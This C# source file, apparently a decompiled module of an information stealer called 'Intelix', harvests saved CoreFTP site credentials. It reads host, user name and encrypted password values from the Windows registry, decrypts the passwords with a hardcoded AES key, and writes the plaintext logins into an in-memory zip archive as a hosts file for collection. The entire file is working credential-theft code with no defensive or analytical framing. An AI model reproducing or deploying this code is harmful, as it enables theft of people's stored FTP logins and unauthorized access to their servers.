using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using Intelix.Helper.Data;
using Microsoft.Win32;

namespace Intelix.Targets.Applications;

public class CoreFtp : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
		counterApplications.Name = "CoreFTP";
		using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\FTPWare\\COREFTP\\Sites");
		if (registryKey == null)
		{
			return;
		}
		List<string> list = new List<string>();
		foreach (string item in from n in registryKey.GetSubKeyNames()
			orderby n
			select n)
		{
			try
			{
				using RegistryKey registryKey2 = registryKey.OpenSubKey(item);
				if (registryKey2 != null)
				{
					object value = registryKey2.GetValue("Host");
					object value2 = registryKey2.GetValue("User");
					object value3 = registryKey2.GetValue("PW");
					if (value != null)
					{
						string text = (value as string) ?? value.ToString();
						string text2 = (value2 as string) ?? value2?.ToString() ?? "";
						string text3 = DecryptCoreFtpPassword((value3 as string) ?? value3?.ToString() ?? "");
						list.Add("Url: " + text + ":21\nUsername: " + text2 + "\nPassword: " + text3 + "\n");
						counterApplications.Files.Add(registryKey2.Name ?? "");
					}
				}
			}
			catch
			{
			}
		}
		if (list.Count > 0)
		{
			zip.AddFile("CoreFTP\\Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list)));
			counter.Applications.Add(counterApplications);
		}
	}

	private static string DecryptCoreFtpPassword(string hexCipher)
	{
		byte[] bytes = Encoding.ASCII.GetBytes("hdfzpysvpzimorhk");
		byte[] iV = new byte[16];
		byte[] array = HexToBytes(hexCipher);
		using Aes aes = Aes.Create();
		aes.KeySize = 128;
		aes.BlockSize = 128;
		aes.Key = bytes;
		aes.IV = iV;
		aes.Mode = CipherMode.ECB;
		aes.Padding = PaddingMode.Zeros;
		using MemoryStream memoryStream = new MemoryStream();
		using ICryptoTransform transform = aes.CreateDecryptor();
		using CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
		cryptoStream.Write(array, 0, array.Length);
		cryptoStream.FlushFinalBlock();
		return Encoding.UTF8.GetString(memoryStream.ToArray());
	}

	private static byte[] HexToBytes(string hex)
	{
		int num = hex.Length / 2;
		byte[] array = new byte[num];
		for (int i = 0; i < num; i++)
		{
			array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
		}
		return array;
	}
}